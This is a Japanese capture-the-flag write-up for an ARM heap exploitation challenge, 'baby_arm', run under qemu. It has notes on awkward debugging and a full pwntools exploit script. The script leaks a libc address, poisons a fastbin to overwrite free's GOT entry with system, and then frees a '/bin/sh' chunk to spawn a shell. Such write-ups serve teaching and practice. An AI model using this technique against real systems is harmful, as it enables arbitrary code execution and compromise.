arm問題

2562 ワード

2020Xman baby_arm
デバッグについて
arm-linux-gnueabihfで起動、-gはデバッグポートを指定しますが、正常なpwn問題のようにスクリプトの中で位置を指定してgdbデバッグを開始する方法が分かりません.そのため、別の端末でgdb-multiarch、tar rem:portリモートデバッグを使用するしかなく、ターゲットアドレスの下でブレークポイント、cが過ぎます.そして,シンボルテーブルがないためsystem関数アドレスを印刷できず,binコマンド,heapなども使えず,直接xでアドレスの内容を見るしかない.まとめると、デバッグが難しい.
デバッグ時にarmアーキテクチャのfastbinチェーンテーブルとunsortedbin双方向チェーンテーブルの位置が謎であることが分かったが、機能とx 86 x 64の差は多くない.
またlibcベースアドレスを計算するときにvmmapで見たベースアドレスは役に立たないことがわかり、vmmapで見たベースアドレス+0 x 1000を正常に計算する必要があります.なぜかどうしても分からない.
from pwn import *
#context.terminal = ['tmux', 'splitw', '-h']
s       = lambda data               :ctx.send(str(data))
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))

#ctx = process(["qemu-arm", "-g", "2353", "-L", "/usr/arm-linux-gnueabihf", "./babyarm"])
ctx = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./babyarm"])
#elf=ELF("./awd7")

libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
#context.log_level = "debug"

def add(sz,c):
    sla('your choice: ',1)
    sla('Note size :',sz)
    sa('Content :',c)
    
def edit(idx,c):#0x10
    sla('your choice: ',5)
    sla('Index :',idx)
    sa('You content:',c)
    
def show(idx):
    sla('your choice: ',3)
    sla('Index :',idx)
    
def free(idx):
    sla('your choice: ',2)
    sla('Index :',idx)
lst = 0x21088
#edit = 0x10990  add = 0x106E6 free = 0x1081E
name = 0x21068
free_got = 0x21014

sla('name:',(p32(0)+p32(0x28))*4)
add(0x40,'0')
add(0x20,'1')
add(0x20,'2')
free(0)
show(0)
lb = uu32(r(4)) - 0x27cc - 0xe6000
success(hex(lb))
sys = libc.sym['system'] + lb
fh = 0xE9734 + lb

free(1)
edit(1,p32(name+0x10))
add(0x20,'/bin/sh\x00')#3
add(0x20,p32(free_got)*3)

edit(0,p32(sys))
free(3)

irt()